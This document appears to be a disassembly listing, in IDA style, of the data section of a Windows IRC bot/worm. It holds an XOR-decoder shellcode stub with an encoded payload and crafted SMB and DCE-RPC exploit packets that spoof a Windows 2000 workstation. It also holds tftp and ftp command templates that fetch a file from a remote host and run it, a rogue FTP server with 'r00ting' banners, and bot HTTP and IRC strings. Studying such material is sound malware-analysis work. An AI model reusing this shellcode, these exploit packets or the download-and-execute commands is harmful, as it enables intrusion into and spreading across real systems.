dword_43F258	dd 1000005h, 10h, 418h,	0 ; DATA XREF: ___:0040C738o
		dd 400h, 90000h, 3 dup(1), 2 dup(3), 2,	7E4h, 0
		dd 7E4h, 53004Fh, 3Ah
off_43F29C	dd offset dword_50005C	; DATA XREF: ___:0040C75Co
		dd offset word_490052
		dd offset dword_40FFB0+0A6h
		dd offset dword_450054
		dd offset dword_5C0024
		dd 0
dword_43F2B4	dd 5, 10h, 418h, 0	; DATA XREF: ___:0040C767o
		dd 400h, 90000h, 0
dword_43F2D0	dd 2000005h, 10h, 404h,	0 ; DATA XREF: ___:0040C795o
		dd 3ECh, 90000h, 0
; ---------------------------------------------------------------------------


loc_43F2EC:				; DATA XREF: ___:0040C7A8o
		jmp	short loc_43F2F6
; ---------------------------------------------------------------------------
		align 10h
		dd offset loc_4014E9
		db 2 dup(90h)
; ---------------------------------------------------------------------------


loc_43F2F6:				; CODE XREF: ___:loc_43F2ECj
		nop
		nop
		nop
		nop
		nop
		nop
		jmp	short loc_43F306
; ---------------------------------------------------------------------------
		align 10h
		dd offset loc_4014E9
		db 2 dup(90h)
; ---------------------------------------------------------------------------


loc_43F306:				; CODE XREF: ___:0043F2FCj
		jmp	short loc_43F322
; ---------------------------------------------------------------------------
		dd 6F684041h, 6F657375h, 62616466h, 41487375h, 909006EBh
		dd 100124Dh
		db 2 dup(90h)
; ---------------------------------------------------------------------------


loc_43F322:				; CODE XREF: ___:loc_43F306j
		nop
		nop
		nop
		nop
; ---------------------------------------------------------------------------
		dw 0
dword_43F328	dd 0E983C929h, 0D9EED9B0h, 5BF42474h ; DATA XREF: ___:0040C7DCo
; ---------------------------------------------------------------------------


loc_43F334:				; CODE XREF: ___:0043F33Ej
		xor	dword ptr [ebx+13h], 3704F519h
		sub	ebx, 0FFFFFFFCh
		loop	loc_43F334
; ---------------------------------------------------------------------------
		dd 7AEF9FE5h, 0C8FB0CF1h, 5B8F95E6h, 728FD13Dh,	32787E25h
		dd 0BCEBF461h, 688FED56h, 7EEFF439h, 368FC192h,	0AEC4C4F7h
		dd 43C471B5h, 3ACE341Eh, 0C3EF3718h, 1F20A122h,	688F106Ch
		dd 51EFF43Dh, 0BC4FF992h, 0DC05E946h, 0BE8FD91Ah, 5618D175h
		dd 53DFC4DAh, 0BC34B692h, 478FF959h, 778F5805h,	0B96CAB11h
		dd 67E8FB57h, 646223E6h, 5379D7Fh, 5778271h, 0E7FBA146h
		dd 0CBE93E71h, 0E1FBA522h, 51E17C46h, 350C1898h, 0C8069F4Ch
		dd 3EDD9DC9h, 0C85358ECh, 6457A6CFh, 6447A64Ah,	0E7FBA65Ah
		db 7Fh,	9Dh
word_43F3E2	dw 551Ah		; DATA XREF: ___:0040C7E2w
		dd 0D68DA67Fh, 2DA09D8Ch, 0C8533269h, 66149FCFh, 5FD40A4Ch
		dd 0DE2A58BDh, 64D20A4Eh, 5FD40A4Ch, 7E82BCFCh,	67D20A4Eh
		dd 0C851A14Dh, 0D06C66C9h, 607D3360h, 0C85123E6h, 536E93C9h
		dd 5A679D7Fh, 676E1090h, 0BEC8DC40h, 0BE409FFEh, 0C4C4C4FBh
		dd 1A460BB3h, 0A428B7E7h, 9C3C8F94h, 456C5EB2h,	0C81246E7h
		dd 0E1FBB16Ch, 6656A242h, 366EA448h, 6651A448h,	9A6C25E6h
		dd 64CAF0C0h, 0C86E23E6h, 0E7FBC2E6h, 0B4F8A292h, 0E1FB91DDh
		dd 5FD40A4Bh, 57E43BF6h, 0C8D20A4Ah, 3704F5C9h,	0
dword_43F484	dd 5C5Ch		; DATA XREF: sub_40C33C+1Eo
dword_43F488	dd 5Ch			; DATA XREF: sub_40C33C+32o
dword_43F48C	dd 696D6461h, 246Eh	; DATA XREF: sub_40C33C+3Do
a8a885d041ceb11	db '8a885d04-1ceb-11c9-9fe8-08002b104860',0 ; DATA XREF: sub_40C52A+Co
		align 4
aFdb3a030065f11	db 'fdb3a030-065f-11d1-bb9b-00a024ea5525',0 ; DATA XREF: ___:0040C64Eo
		align 4
aB:					; DATA XREF: sub_40C89D+ADo
		unicode	0, <>
		dw 4400h
aCkfdenecfdef_0	db ' CKFDENECFDEFFCFGEFFCCACACACACACA',0
aCacacacacaca_0	db ' CACACACACACACACACACACACACACACAAA',0
		align 10h
dword_43F530	dd 54000000h, 424D53FFh, 72h, 28011800h, 3 dup(0)
					; DATA XREF: sub_40C89D+CEo
		dd 8AC0000h, 0E5000000h, 2003100h, 4D4E414Ch, 2E314E41h
		dd 4C020030h, 322E314Dh, 32303058h, 544E0200h, 4E414C20h
		dd 204E414Dh, 302E31h, 20544E02h, 30204D4Ch, 32312Eh, 0
dword_43F58C	dd 0AC000000h, 424D53FFh, 73h, 28011800h, 3 dup(0)
					; DATA XREF: sub_40C89D+E8o
		dd 8AC0000h, 0E5000000h, 0FF0Ch, 2FFDF00h, 100h, 4E000000h
		dd 0
		dd 0D05C00h, 60007180h,	2B06064Ch, 5050106h, 3042A002h
		dd 300EA040h, 2B0A060Ch, 1040106h, 2023782h, 42EA20Ah
		dd 4C544E2Ch, 5053534Dh, 100h, 8020100h, 0
		db    0
		db 20h,	2 dup(0)
		db    0
		db 0Ch,	0, 0Ch
		db    0
		db 20h,	2 dup(0)
		db    0
aWorkstation1wi	db 'WORKSTATION1Windows 2000 2195',0
aWindows20005_0	db 'Windows 2000 5.0',0
		align 10h
dword_43F640	dd 0F2000000h, 424D53FFh, 73h, 28011800h, 3 dup(0)
					; DATA XREF: sub_40C89D+102o
		dd 8AC0000h, 0E5000800h, 0FF0Ch, 2FFDF00h, 100h, 94000000h
		dd 0
		dd 0D05C00h, 0A100B780h, 81309181h, 8B81A28Eh, 4E888104h
		dd 534D4C54h, 3005053h,	18000000h, 40001800h, 18000000h
		dd 58001800h, 0
		dd 70000000h, 0
		dd 70000000h, 18000000h, 70001800h, 2 dup(0)
		dd 1000000h, 802h, 4030201h, 70605h, 3 dup(0)
		db    0
		db 2 dup(0), 8Fh
; ---------------------------------------------------------------------------
		jno	short loc_43F73E
		mov	ecx, 484962Fh
		retf	0EE65h
; ---------------------------------------------------------------------------
		dw 0DAFBh
		db 0CEh	; Î
		db 9Eh,	0AFh, 28h
		db  8Eh	; Ž
		db 0EEh, 7Ah, 54h
		db  69h	; i
		dd offset loc_572883+2
		dd offset byte_52004F
		dd offset byte_53004B
		dd offset dword_40FFB0+0A4h
		dd offset dword_490054
		dd offset loc_4E004E+1
		db 31h,	0, 57h
aIndows20002195	db 'indows 2000 2195',0
aWindows20005_1	db 'Windows 2000 5.0',0
		align 4
dword_43F738	dd 3A000000h		; DATA XREF: sub_40C89D+119o
		db 0FFh, 53h
; ---------------------------------------------------------------------------


loc_43F73E:				; CODE XREF: ___:0043F6E4j
		dec	ebp
		inc	edx
		jnz	short $+2
; ---------------------------------------------------------------------------
		dw 0
		dd 20011800h, 3	dup(0)
		dd 8AC0000h, 0E5000800h, 0FF04h, 1000000h, 0F00h, 495C5C5Ch
		dd 244350h, 3F3F3F3Fh, 3Fh
dword_43F778	dd 5C000000h, 424D53FFh, 0A2h, 20011800h, 3 dup(0)
					; DATA XREF: sub_40C89D+130o
		dd 8AC0800h, 0E5000800h, 0FF18h, 80000h, 16h, 0
		dd 2019Fh, 3 dup(0)
		dd 7, 1, 40h, 2, 5C000900h, 574F5242h, 524553h,	0
dword_43F7DC	dd 92000000h, 424D53FFh, 25h, 20011800h, 3 dup(0)
					; DATA XREF: sub_40C89D+14Ao
		dd 8AC0800h, 0E5000800h, 48000010h, 0E0040000h,	0FFh, 2	dup(0)
		dd 48004A00h, 2004A00h,	2600h, 5C004F40h, 45504950h, 5005Ch
		dd 10030Bh, 480000h, 0
		dd 16D00000h, 16D0h, 10000h, 0
		dd 4FC80001h, 16704B32h, 781201D3h, 6EBF475Ah, 388E1h
		dd 5D040000h, 1CEB8A88h, 0E89F11C9h, 102B0008h,	26048h
		dd 0
dword_43F874	dd 57010000h, 424D53FFh, 2Fh, 20011800h, 3 dup(0)
					; DATA XREF: sub_40C89D+164o
					; sub_40C89D+1DAo
		dd 8AC0800h, 0E5000800h, 0FF0Eh, 400000h, 0FF000000h, 8FFFFFFh
		dd 11800h, 3F011800h, 0
		dd 5011800h, 10010000h,	18000000h, 1, 0
		dd 1, 6B001F00h, 14C658Ch, 0
		dd 1000000h, 0
		dd 63366800h, 1, 63000000h, 4A000001h, 9F4340FCh, 9043F5F8h
		dd 489B404Fh, 0F54F4A42h, 98469337h, 6A4F4998h,	0EED95951h
		dd 0F42474D9h, 1373815Bh, 0AD136156h, 0E2FCEB83h, 0ECA5D7F4h
		dd 579EA942h, 5E8A3C51h, 0EC9EAF45h, 7FEA3652h,	56EA7289h
		dd 161DDD91h, 988E57D5h, 4CEA4EE2h, 5A8A578Dh, 12EA6226h
		dd 8AA16743h, 67A1D201h, 1EAB97AAh, 0E78A94ACh,	3B450296h
		dd 4CEAB3D8h, 758A5789h, 982A5A26h, 0F8604AF2h,	9AEA7AAEh
		dd 727D72C1h, 77BA676Eh, 98511526h, 63EA5AEDh, 53EAFBB1h
		dd 9D0908A5h, 438D58E3h, 40078052h, 21523ECBh, 211221C5h
		dd 0C39E02F2h, 0EF8C9DC5h, 0C59E0696h, 7584DFF2h, 1169BB2Ch
		dd 0EC633CF8h, 1AB83E7Dh, 0EC36FB58h, 4032057Bh, 402205FEh
		dd 0C39E05EEh, 0FCDF3ECBh, 0F2E805CBh, 0C53E38h
dword_43F9D0	dd 57010000h, 424D53FFh, 2Fh, 20011800h, 3 dup(0)
					; DATA XREF: sub_40C89D+17Eo
					; sub_40C89D+1F4o
		dd 8AC0800h, 0E5000800h, 0FF0Eh, 18400000h, 0FF000001h
		dd 8FFFFFFh, 11800h, 3F011800h,	0
		dd 5011800h, 10000000h,	18000000h, 1, 0
		dd 1, 9001F00h,	0EC3691DDh, 42713C7Bh, 7BB1A9F8h, 0FA4FFB09h
		dd 40B7A9FAh, 7BB1A9F8h, 5AE71F48h, 43B7A9FAh, 0EC3402F9h
		dd 0F409C57Dh, 441890D4h, 0EC348052h, 770B307Dh, 7E023ECBh
		dd 430BB324h, 9AAD7FF4h, 9A253C4Ah, 0E0A1674Fh,	3E23A807h
		dd 804D1453h, 0B8592C20h, 6109FD06h, 0EC77E553h, 0C59E12D8h
		dd 423301F6h, 120B07FCh, 423407FCh, 0BE098652h,	40AF5374h
		dd 0EC0B8052h, 0C39E6152h, 909D0126h, 0C59E3269h, 7BB1A9FFh
		dd 73819842h, 0ECB7A9FEh
aR18zt89rmiyrru	db '}R18zT89rMIyrrUxOD5Ldn90tdGUQ4xcbHSBmL1VZjHnU02M96tnEaW4RWvmqwAt8'
		db 'atPAlENccp4U21A45xy0anPR7ULgqNdyZCRr0ljcyOmnK7',0
dword_43FB2C	dd 57010000h, 424D53FFh, 2Fh, 20011800h, 3 dup(0)
					; DATA XREF: sub_40C89D+198o
					; sub_40C89D+20Eo
		dd 8AC0800h, 0E5000800h, 0FF0Eh, 30400000h, 0FF000002h
		dd 8FFFFFFh, 11800h, 3F011800h,	0
		dd 5011800h, 10000000h,	18000000h, 1, 0
		dd 1, 34001F00h, 31323231h, 416E5553h, 536C4D46h, 39646C65h
		dd 79656A43h, 71423371h, 72736837h, 5A4E4241h, 6F7A7255h
		dd 32423650h, 35727354h, 69577A65h, 71695269h, 5353656Ch
		dd 4C687364h, 4B633767h, 665A6836h, 7053536Ah, 6552385Ah
		dd 45786F58h, 615A547Ah, 716C4F55h, 32397643h, 55347731h
		dd 6752794Bh, 346B734Eh, 59737474h, 484B4C5Ah, 5A333335h
		dd 37304144h, 796F4E68h, 536E6337h, 0A644454h, 32000208h
		dd 46377936h, 4534979h,	6F000208h, 6A695059h, 584A5559h
		dd 52496165h, 49475966h, 63483643h, 6C7A3476h, 3859636Ah
		dd 44B4B50h, 49000208h,	6E5A5671h, 46C554Fh, 77000208h
		dd 634D6F6Bh, 39716F79h, 61716D4Eh, 674A696Ah, 65526C36h
		dd 49637A79h, 58526F70h, 793833h, 0AE576800h, 1000000h
		dd 0
		dd 1000000h, 0
		dd 0AD91A700h, 0
dword_43FC88	dd 66000000h, 424D53FFh, 25h, 20011800h, 3 dup(0)
					; DATA XREF: sub_40C89D+1AFo
					; sub_40C89D+225o
		dd 8AC0800h, 0E5000800h, 1C000010h, 0E0040000h,	0FFh, 2	dup(0)
		dd 1C004A00h, 2004A00h,	2600h, 5C002340h, 45504950h, 5005Ch
		dd 100200h, 1C0000h, 0
		dd 40000h, 0
		dd 1Fh,	0
unk_43FCF4	db  81h	; 		; DATA XREF: sub_40C89D+283o
		db 2 dup(0), 44h
aCkfdenecfdef_1	db ' CKFDENECFDEFFCFGEFFCCACACACACACA',0
aCacacacacaca_1	db ' CACACACACACACACACACACACACACACAAA',0
		align 10h
dword_43FD40	dd 54000000h, 424D53FFh, 72h, 28011800h, 3 dup(0)
					; DATA XREF: sub_40C89D+2A4o
		dd 2D80000h, 97230000h,	2003100h, 4D4E414Ch, 2E314E41h
		dd 4C020030h, 322E314Dh, 32303058h, 544E0200h, 4E414C20h
		dd 204E414Dh, 302E31h, 20544E02h, 30204D4Ch, 32312Eh, 0
dword_43FD9C	dd 0AC000000h, 424D53FFh, 73h, 28011800h, 3 dup(0)
					; DATA XREF: sub_40C89D+2BEo
		dd 2D80000h, 97230000h,	0FF0Ch,	2FFDF00h, 100h,	4E000000h
		dd 0
		dd 0D05C00h, 60007180h,	2B06064Ch, 5050106h, 3042A002h
		dd 300EA040h, 2B0A060Ch, 1040106h, 2023782h, 42EA20Ah
		dd 4C544E2Ch, 5053534Dh, 100h, 8020100h, 0
		db    0
		db 20h,	2 dup(0)
		db    0
		db 0Ch,	0, 0Ch
		db    0
		db 20h,	2 dup(0)
		db    0
aWorkstation1_0	db 'WORKSTATION1Windows 2000 2195',0
aWindows20005_2	db 'Windows 2000 5.0',0
		align 10h
dword_43FE50	dd 0F2000000h, 424D53FFh, 73h, 28011800h, 3 dup(0)
					; DATA XREF: sub_40C89D+2D8o
		dd 2D80000h, 97230800h,	0FF0Ch,	2FFDF00h, 100h,	94000000h
		dd 0
		dd 0D05C00h, 0A100B780h, 81309181h, 8B81A28Eh, 4E888104h
		dd 534D4C54h, 3005053h,	18000000h, 40001800h, 18000000h
		dd 58001800h, 0
		dd 70000000h, 0
		dd 70000000h, 18000000h, 70001800h, 2 dup(0)
		dd 1000000h, 802h, 4030201h, 70605h, 3 dup(0)
		db    0
		db 2 dup(0), 0A3h
		db  9Eh	; ž
		db 5Eh,	9Bh, 4
		db  57h	; W
		db 0E3h, 15h, 0B7h
		db  6Fh	; o
		db 44h,	0E9h, 1Eh
		db  49h	; I
		db 0FEh, 0C0h, 0BEh
		db 0E9h	; é
		db 0A6h, 0A7h, 7Fh
aPmiw		db 'pmiW',0
		dd offset byte_52004F
		dd offset byte_53004B
		dd offset dword_40FFB0+0A4h
		dd offset dword_490054
		dd offset loc_4E004E+1
		db 31h,	0, 57h
aIndows200021_0	db 'indows 2000 2195',0
aWindows20005_3	db 'Windows 2000 5.0',0
		align 4
dword_43FF48	dd 62000000h, 424D53FFh, 73h, 20011800h, 3 dup(0)
					; DATA XREF: sub_40C89D+2EFo
		dd 2D80000h, 97230000h,	0FF0Dh,	2FFDF00h, 100h,	2 dup(0)
		db    0
		db 2 dup(0), 40h
		db    0
		db 2 dup(0), 25h
		db    0
		db 2 dup(0), 57h
aIndows200021_1	db 'indows 2000 2195',0
aWindows20005_4	db 'Windows 2000 5.0',0
		align 10h
dword_43FFB0	dd 3A000000h, 424D53FFh, 75h, 20011800h, 3 dup(0)
					; DATA XREF: sub_40C89D+306o
		dd 2D80000h, 97230801h,	0FF04h,	1000000h, 0F00h, 495C5C5Ch
		dd 244350h, 3F3F3F3Fh, 3Fh
dword_43FFF0	dd 5C000000h, 424D53FFh, 0A2h, 20011800h, 3 dup(0)
					; DATA XREF: sub_40C89D+31Do
		dd 2D80800h, 97230801h,	0FF18h,	80000h,	16h, 0
		dd 2019Fh, 3 dup(0)
		dd 7, 1, 40h, 2, 5C000900h, 574F5242h, 524553h,	0
dword_440054	dd 92000000h, 424D53FFh, 25h, 20011800h, 3 dup(0)
					; DATA XREF: sub_40C89D+337o
		dd 2D80800h, 97230801h,	48000010h, 0E0040000h, 0FFh, 2 dup(0)
		dd 48004A00h, 2004A00h,	2600h, 5C004F40h, 45504950h, 5005Ch
		dd 10030Bh, 480000h, 0
		dd 16D00000h, 16D0h, 10000h, 0
		dd 4FC80001h, 16704B32h, 781201D3h, 6EBF475Ah, 388E1h
		dd 5D040000h, 1CEB8A88h, 0E89F11C9h, 102B0008h,	26048h
		dd 0
dword_4400EC	dd 57010000h, 424D53FFh, 2Fh, 20011800h, 3 dup(0)
					; DATA XREF: sub_40C89D+351o
					; sub_40C89D+3E0o
		dd 2D80800h, 97230801h,	0FF0Eh,	400000h, 0FF000000h, 8FFFFFFh
		dd 11800h, 3F011800h, 0
		dd 5011800h, 10010000h,	18000000h, 1, 0
		dd 1, 0F2001F00h, 1F2207Ch, 0
		dd 1000000h, 0
		dd 15514F00h, 2, 15000000h, 49000002h, 2742983Fh, 439BD697h
		dd 0FC37984Ah, 99F54B43h, 47994642h, 0FC379948h, 4AF59B42h
		dd 37374F90h, 37F5434Ah, 96963740h, 9B499B96h, 999B9F96h
		dd 37984848h, 49934347h, 4B4AFC4Eh, 48482790h, 99474A92h
		dd 90963727h, 40482791h, 0F8414627h, 0FC91984Fh, 3F4E47F8h
		dd 0D69097F9h, 974E4A27h, 46463F42h, 4F9896FDh,	274F9848h
		dd 4A4149D6h, 37914F46h, 9BFC4890h, 9B9B9096h, 433F9741h
		dd 4A3F46D6h, 9F4EF543h, 4F984327h, 4F904F41h, 4BFDF5F9h
		dd 9740F541h, 40414647h, 4343989Fh, 0FD4A4E4Fh,	4696FC4Fh
		dd 97474243h, 92374BFCh, 373F9F96h, 4F9841D6h, 9F4AF94Ah
		dd 9F99FC41h, 37372798h, 4899474Eh, 4E274B42h, 4A409237h
		dd 9827433Fh, 494E3F91h, 4B48484Fh, 37989Bh
dword_440248	dd 57010000h, 424D53FFh, 2Fh, 20011800h, 3 dup(0)
					; DATA XREF: sub_40C89D+36Bo
					; sub_40C89D+3FAo
		dd 2D80800h, 97230801h,	0FF0Eh,	18400000h, 0FF000001h
		dd 8FFFFFFh, 11800h, 3F011800h,	0
		dd 5011800h, 10000000h,	18000000h, 1, 0
		dd 1, 4B001F00h, 483F9F47h, 499F4941h, 4342273Fh, 9746999Bh
		dd 91279697h, 3F4E9FFDh, 37933743h, 909F4F47h, 9B374BF8h
		dd 2790994Fh, 40994E47h, 9BFC9292h, 4E9097FDh, 0F5F99047h
		dd 0FD404A9Fh, 489327D6h, 99934340h, 93FC274Ah,	49484B97h
		dd 4F4A4A99h, 43984B91h, 4E434B91h, 4242929Fh, 3F464399h
		dd 48404141h, 2740463Fh, 3F37484Ah, 27429291h, 404EF541h
		dd 27499B4Fh, 4F9F3F9Fh, 41FCF998h, 9041F840h, 374EF893h
		dd 92379143h, 4698D64Fh, 939F9843h, 9F96924Eh, 37F9974Ah
		dd 48939296h, 4E4E9F41h, 0F9D6474Ah, 40479B3Fh,	984137F8h
		dd 9BF9FD48h, 9BD69F96h, 989343FDh, 48FD4040h, 4F914F47h
		dd 99414A40h, 374E4B4Bh, 43929348h, 4B424137h, 4942FC41h
		dd 279792FCh, 484242FCh, 939B9B46h, 419B2791h, 4892484Ah
		dd 0D64E414Bh, 9BF542FCh, 4F439949h, 4392FC97h,	4191D6h
dword_4403A4	dd 57010000h, 424D53FFh, 2Fh, 20011800h, 3 dup(0)
					; DATA XREF: sub_40C89D+385o
					; sub_40C89D+414o
		dd 2D80800h, 97230801h,	0FF0Eh,	30400000h, 0FF000002h
		dd 8FFFFFFh, 11800h, 3F011800h,	0
		dd 5011800h, 10000000h,	18000000h, 1, 0
		dd 1, 0FD001F00h, 424ED627h, 9897414Ah,	4B424240h, 0F5F9FD3Fh
		dd 3793403Fh, 49434091h, 404F9093h, 96474A99h, 373F92F9h
		dd 0F5D6F997h, 439F4643h, 0F5374BD6h, 4E914AD6h, 4990FD9Bh
		dd 47FC9649h, 964E4FFDh, 4F469990h, 4B43F546h, 989F97F9h
		dd 9F9992FCh, 9B424BD6h, 96404040h, 4190909Bh, 98969297h
		dd 494F4A96h, 4E434F37h, 0F993424Ah, 92939837h,	49434A3Fh
		dd 27414E92h, 40979BF8h, 47439290h, 9040964Eh, 42404F98h
		dd 0F5419040h, 96424747h, 0FD4A9F49h, 99D6F537h, 4E474F3Fh
		dd 9F90D627h, 43D69342h, 41969243h, 4BF9964Bh, 59516AF9h
		dd 74D9EED9h, 815BF424h, 0F3091373h, 0EB838E1Eh, 88F4E2FCh
		dd 0F661E137h, 63725A0Ch, 0F0665318h, 6971E10Ch, 2DAA7278h
		dd 82B25B78h, 8F61B8Fh,	11C1951Ch, 8AE4178h, 3D055718h
		dd 38601F78h, 8D228733h, 0C8896A33h, 0CB8F1339h, 0B5EA18h
dword_440500	dd 57010000h, 424D53FFh, 2Fh, 20011800h, 3 dup(0)
					; DATA XREF: sub_40C89D+39Fo
					; sub_40C89D+42Eo
		dd 2D80800h, 97230801h,	0FF0Eh,	48400000h, 0FF000003h
		dd 8FFFFFFh, 11800h, 3F011800h,	0
		dd 5011800h, 10000000h,	18000000h, 1, 0
		dd 1, 5D001F00h, 0ECFB36D7h, 8AA4178h, 5057818h, 15D195B8h
		dd 258DF5F2h, 2DE29778h, 384D7FEFh, 4A057A28h, 5CE95C3h
		dd 0A4926E78h, 57865E78h, 7C0909Bh, 0DF714E1Fh,	61E84D95h
		dd 7EE62CC0h, 5DD12C80h, 0C2E6CE0Ch, 59B5E21Eh,	80D1C80Ch
		dd 0E40F7816h, 63DB1CFBh, 615EE1F1h, 0A47B172Ah, 5A58E1A4h
		dd 5ADD4DA0h, 5ACD4DB0h, 61E8CE0Ch, 5AE8F14Dh, 611BFF7Ah
		dd 0CEFE0457h, 6358E1A4h, 0F6DB4FE3h, 0A42A7623h, 0F6D9F7DDh
		dd 0F6DB4D25h, 406B7623h, 0F6D95775h, 5DDA4E25h, 9A5EE1A6h
		dd 0CFF7F99Bh, 0DF71498Ah, 6F5EE1A6h, 61E87A99h, 0EC077390h
		dd 20D74E99h, 6369973Fh, 386C97B7h, 0F724ED33h,	4B7033B1h
		dd 73038DDFh, 0A225B5CBh, 0BA706C9Bh, 4DFBE1E5h, 5ED5C80Ch
		dd 58DF4FA1h, 58DF1F99h, 0D9714FA6h, 0C57B39Bh,	0DF714D3Dh
		dd 3E71E199h, 5E05CE0Ch, 6D4A9D0Fh, 0F6DCC80Ch,	617623h
dword_44065C	dd 0CA000000h, 424D53FFh, 25h, 20011800h, 3 dup(0)
					; DATA XREF: sub_40C89D+3B9o
					; sub_40C89D+448o
		dd 2D80800h, 97230801h,	80000010h, 0E0040000h, 0FFh, 2 dup(0)
		dd 80004A00h, 2004A00h,	2600h, 5C008740h, 45504950h, 5005Ch
		dd 100200h, 800000h, 0
		dd 680000h, 0
		dd 13C7001Fh, 25F6DD7Eh, 8045EE1h, 0Fh dup(8040002h), 2
		dd 0BE895Bh, 20000h, 0
		dd 20000h, 2EB0000h, 760000h, 2	dup(0)
aTftpISGetS	db 'tftp -i %s get %s',0Dh,0Ah,0 ; DATA XREF: sub_40CD34+95o
aEchoOpenSDOE_0	db 'echo open %s %d > o&echo user 1 1 >> o &echo get %s >> o &echo qu'
					; DATA XREF: sub_40CD34+BEo
		db 'it >> o &ftp -n -s:o &del /F /Q o &%s',0Dh,0Ah,0
		align 4
aS_19		db '%s',0Dh,0Ah,0       ; DATA XREF: sub_40CD34+102o
		align 4
a_a_a_a_S_e_x_p	db '.a.a.a. (%s.e.x.p) .»».  trying to root %s',0
					; DATA XREF: sub_40CE96+5Do
		align 10h
aCmd_exe	db 'cmd.exe',0
a220Stnyftpd0wn	db '220 StnyFtpd 0wns j0',0Ah,0
		align 10h
aSS_8		db '%s %s',0
		align 4
aUser_3		db 'USER',0
		align 10h
a331PasswordReq	db '331 Password required',0Ah,0
		align 4
aPass_0		db 'PASS',0
		align 10h
a230UserLoggedI	db '230 User logged in.',0Ah,0
		align 4
aSyst		db 'SYST',0
		align 10h
a215Stnyftpd	db '215 StnyFtpd',0Ah,0
		align 10h
aRest		db 'REST',0
		align 4
a350Restarting_	db '350 Restarting.',0Ah,0
		align 4
		dd offset dword_445750
a257IsCurrentDi	db '257 "/" is current directory.',0Ah,0
		align 10h
aType		db 'TYPE',0
		align 4
aA_0:
		unicode	0, <A>,0
a200TypeSetToA_	db '200 Type set to A.',0Ah,0
aType_0		db 'TYPE',0
		align 4
aI_0:
		unicode	0, <I>,0
a200TypeSetToI_	db '200 Type set to I.',0Ah,0
aPasv		db 'PASV',0
		align 4
a425PassiveNotS	db '425 Passive not supported on this server',0Ah,0
		align 4
aList_0		db 'LIST',0
		align 4
a226TransferCom	db '226 Transfer complete',0Ah,0
		align 4
aPort		db 'PORT',0
		align 4
aS_33		db '%*s %[^,],%[^,],%[^,],%[^,],%[^,],%[^',0Ah
		db ']',0
aXX		db '%x%x',0Ah,0
		align 4
aS_S_S_S	db '%s.%s.%s.%s',0
a200PortCommand	db '200 PORT command successful.',0Ah,0
		align 4
aRetr		db 'RETR',0
		align 10h
a150OpeningBina	db '150 Opening BINARY mode data connection',0Ah,0
		align 4
aFtpdStartingTr	db '-ftpd- starting transfer to %s',0
		align 4
a226TransferC_0	db '226 Transfer complete.',0Ah,0
aFtpdSentFileTo	db '-ftpd- sent file to %s',0
		align 4
a425CanTOpenDat	db '425 Can',27h,'t open data connection.',0Ah,0
		align 10h
aQuit_1		db 'QUIT',0
		align 4
a221GoodbyeHapp	db '221 Goodbye happy r00ting.',0Ah,0
aRb		db 'rb',0               ; DATA XREF: ___:0040D881o
		align 4
aGet		db 'GET ',0             ; DATA XREF: sub_40D8F7+26Fo
		align 10h
asc_440A70:				; DATA XREF: sub_40D8F7+292o
		unicode	0, < >,0
asc_440A74:				; DATA XREF: sub_40D8F7+297o
		unicode	0, < >,0
aGet_0		db 'GET ',0             ; DATA XREF: sub_40D8F7+2A2o
		align 10h
asc_440A80	db 0Dh,0Ah,0		; DATA XREF: sub_40D8F7+2D5o
		align 4
unk_440A84	db  2Dh	; -		; DATA XREF: sub_40D8F7+3FEo
		db 3, 34h, 2
		db  68h	; h
		db 2 dup(74h), 70h
		db  64h	; d
		db 2, 3, 2Dh
aServerFailedRe	db ' server failed, returned %d',0
aTextHtml	db 'text/html',0        ; DATA XREF: sub_40DD58+5Eo
		align 4
aApplicationOct	db 'application/octet-stream',0 ; DATA XREF: sub_40DD58:loc_40DDBDo
		align 4
aDddDdMmmYyyy	db 'ddd, dd MMM yyyy',0 ; DATA XREF: sub_40DD58+83o
		align 4
aHhMmSs		db 'HH:mm:ss',0         ; DATA XREF: sub_40DD58+97o
		align 4
aHttp1_0200OkSe	db 'HTTP/1.0 200 OK',0Dh,0Ah ; DATA XREF: sub_40DD58+D3o
		db 'Server: myBot',0Dh,0Ah
		db 'Cache-Control: no-cache,no-store,max-age=0',0Dh,0Ah
		db 'pragma: no-cache',0Dh,0Ah
		db 'Content-Type: %s',0Dh,0Ah
		db 'Accept-Ranges: bytes',0Dh,0Ah
		db 'Date: %s %s GMT',0Dh,0Ah
		db 'Last-Modified: %s %s GMT',0Dh,0Ah
		db 'Expires: %s %s GMT',0Dh,0Ah
		db 'Connection: close',0Dh,0Ah
		db 0Dh,0Ah,0
		align 10h
aHttp1_0200Ok_0	db 'HTTP/1.0 200 OK',0Dh,0Ah ; DATA XREF: sub_40DD58+F6o
		db 'Server: myBot',0Dh,0Ah
		db 'Cache-Control: no-cache,no-store,max-age=0',0Dh,0Ah
		db 'pragma: no-cache',0Dh,0Ah
		db 'Content-Type: %s',0Dh,0Ah
		db 'Content-Length: %i',0Dh,0Ah
		db 'Accept-Ranges: bytes',0Dh,0Ah
		db 'Date: %s %s GMT',0Dh,0Ah
		db 'Last-Modified: %s %s GMT',0Dh,0Ah
		db 'Expires: %s %s GMT',0Dh,0Ah
		db 'Connection: close',0Dh,0Ah
		db 0Dh,0Ah,0
		align 10h
aS_20		db '\%s',0              ; DATA XREF: sub_40DEDA+2Fo
aS_21		db '%s',0               ; DATA XREF: sub_40DEDA+3Ao
		align 4
aSS_1		db '%s%s',0             ; DATA XREF: sub_40DEDA+EAo
		align 10h
asc_440CD0:				; DATA XREF: sub_40DEDA+FBo
		dw 0Ah
		unicode	0, <>,0
asc_440CD4:				; DATA XREF: sub_40DEDA+157o
		unicode	0, <*>,0
unk_440CD8	db  2Dh	; -		; DATA XREF: sub_40DEDA+20Bo
		db 3, 34h, 2
		db  68h	; h
		db 2 dup(74h), 70h
		db  64h	; d
		db 2, 3, 2Dh
aWorkerThreadOf	db ' worker thread of server thread: %d.',0
		align 4
unk_440D0C	db  2Dh	; -		; DATA XREF: sub_40DEDA+28Fo
		db 3, 34h, 2
		db  68h	; h
		db 2 dup(74h), 70h
		db  64h	; d
		db 2, 3, 2Dh
aFailedToSta_21	db ' failed to start worker thread, error %d',0
		align 4
asc_440D44:				; DATA XREF: sub_40E18A+29o
		dw 0Ah
		unicode	0, <>,0
aPrivmsgSSearch	db 'PRIVMSG %s :Searching for: %s',0Dh,0Ah,0 ; DATA XREF: sub_40E18A+4Bo
aHtmlHeadTitleI	db '<HTML>',0Dh,0Ah     ; DATA XREF: sub_40E18A+78o
		db '<HEAD>',0Dh,0Ah
		db '<TITLE>Index of %s</TITLE>',0Dh,0Ah
		db '</HEAD>',0Dh,0Ah
		db '<BODY>',0Dh,0Ah,0
		align 4
